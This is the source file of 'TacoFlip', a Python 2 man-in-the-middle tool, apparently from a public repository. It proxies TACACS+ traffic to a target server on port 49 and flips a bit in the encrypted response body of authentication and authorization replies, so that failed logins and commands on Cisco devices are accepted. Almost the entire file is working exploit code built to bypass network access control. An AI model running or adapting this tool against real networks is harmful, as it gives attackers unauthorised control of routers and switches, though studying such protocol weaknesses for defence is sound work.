-
Notifications
You must be signed in to change notification settings - Fork 9
/
tacoflip.py
184 lines (159 loc) · 6.02 KB
/
tacoflip.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
#!/usr/bin/python
__author__ = 'GreenDog'
# thx to http://voorloopnul.com/blog/a-python-proxy-in-less-than-100-lines-of-code/
import socket
import select
import time
import sys
import argparse
# Changing the buffer_size and delay, you can improve the speed and bandwidth.
# But when buffer get to high or delay go too down, you can broke things
buffer_size = 4096
delay = 0.0001
def parse_args():
parser = argparse.ArgumentParser(
description="A tool for authentication/authorization bypass by MitM attack on Cisco devices and a Tacacs+ server")
parser.add_argument(
'-t', '--target', type=str, help='An IP address of a Tacacs+ server', required=True)
parser.add_argument(
'-v', '--verbose', help='Verbose mode', action="store_true", dest="verbose", default=False, required=False)
args = parser.parse_args()
return args.target, args.verbose
class Forward:
def __init__(self):
self.forward = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def start(self, host, port):
try:
self.forward.connect((host, port))
if verbose:
print("Connected to {}:{}".format(ip,49))
return self.forward
except Exception, e:
print e
return False
class TheServer:
input_list = []
channel = {}
def __init__(self, host, port):
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.server.bind((host, port))
self.server.listen(200)
if verbose:
print("Listening on {}:{}".format(host,port))
def main_loop(self):
self.input_list.append(self.server)
while 1:
time.sleep(delay)
ss = select.select
inputready, outputready, exceptready = ss(self.input_list, [], [])
for self.s in inputready:
if self.s == self.server:
self.on_accept()
break
try:
self.data = self.s.recv(buffer_size)
except socket.error as e:
print(e)
self.on_close()
break
except Exception as ex:
self.on_close()
print(ex)
break
if len(self.data) == 0:
self.on_close()
break
else:
self.on_recv()
def on_accept(self):
forward = Forward().start(forward_to[0], forward_to[1])
clientsock, clientaddr = self.server.accept()
if forward:
print clientaddr, "has connected"
self.input_list.append(clientsock)
self.input_list.append(forward)
self.channel[clientsock] = forward
self.channel[forward] = clientsock
else:
print "Can't establish connection with remote server.",
print "Closing connection with client side", clientaddr
clientsock.close()
def on_close(self):
try:
print self.s.getpeername(), "has disconnected"
except socket.error as e:
print("Disconnected: {}".format(e))
except Exception as ex:
print("Unhandled exception..")
print(ex)
sys.exit(1)
# remove objects from input_list
self.input_list.remove(self.s)
self.input_list.remove(self.channel[self.s])
out = self.channel[self.s]
# close the connection with client
self.channel[out].close() # equivalent to do self.s.close()
# close the connection with remote server
self.channel[self.s].close()
# delete both objects from channel dict
del self.channel[out]
del self.channel[self.s]
def on_recv(self):
data = self.data
# here we can parse and/or modify the data before send forward
# print data.encode('hex')
vers = data[0]
p_type = data[1]
seq_num = data[2]
ses_id = data[4:8]
print("Packet")
verb("Tacacs+ version: ", vers)
verb("Packet type: ", p_type)
verb("Packet number: ", seq_num)
verb("Session id: ", ses_id)
length = int(data[8:12].encode('hex'), 16)
verb("Packet length: ", str(length))
enc_data = data[12:12 + length]
verb("Encrypted data: ", enc_data)
if (p_type == "\x01"):
print("Authentication packet")
if (seq_num == "\x04"):
print("Bit flip for a good authentication")
pseudo_pad = int(data[12].encode('hex'), 16) ^ 0x02
verb("pseudo_pad:", str(pseudo_pad))
new_pseudo_pad = pseudo_pad ^ 0x01
verb("new_pseudo_pad: ", str(new_pseudo_pad))
data = data[:12] + chr(new_pseudo_pad) + data[13:]
verb("data: ", data)
elif (p_type == "\x02"):
print("Authorization packet")
if (seq_num == "\x02"):
print("Bit flip for a good authorization")
pseudo_pad = int(data[12].encode('hex'), 16) ^ 0x10
verb("pseudo_pad:", str(pseudo_pad))
new_pseudo_pad = pseudo_pad ^ 0x01
verb("new_pseudo_pad: ", str(new_pseudo_pad))
data = data[:12] + chr(new_pseudo_pad) + data[13:]
verb("data: ", data)
elif (p_type == "\x03"):
print("Accounting")
#
else:
verb("A strange packet type!")
self.channel[self.s].send(data)
def verb(desc, val=""):
#
if verbose:
print desc, val.encode('hex')
if __name__ == '__main__':
print("\nTacoFlip / Tacacs+ Mitm Auth bypass v0.1 beta")
print("Alexey Tyurin - agrrrdog [at] gmail.com\n")
ip, verbose = parse_args()
forward_to = (ip, 49)
server = TheServer('', 49)
try:
server.main_loop()
except KeyboardInterrupt:
print "Ctrl C - Stopping server"
sys.exit(1)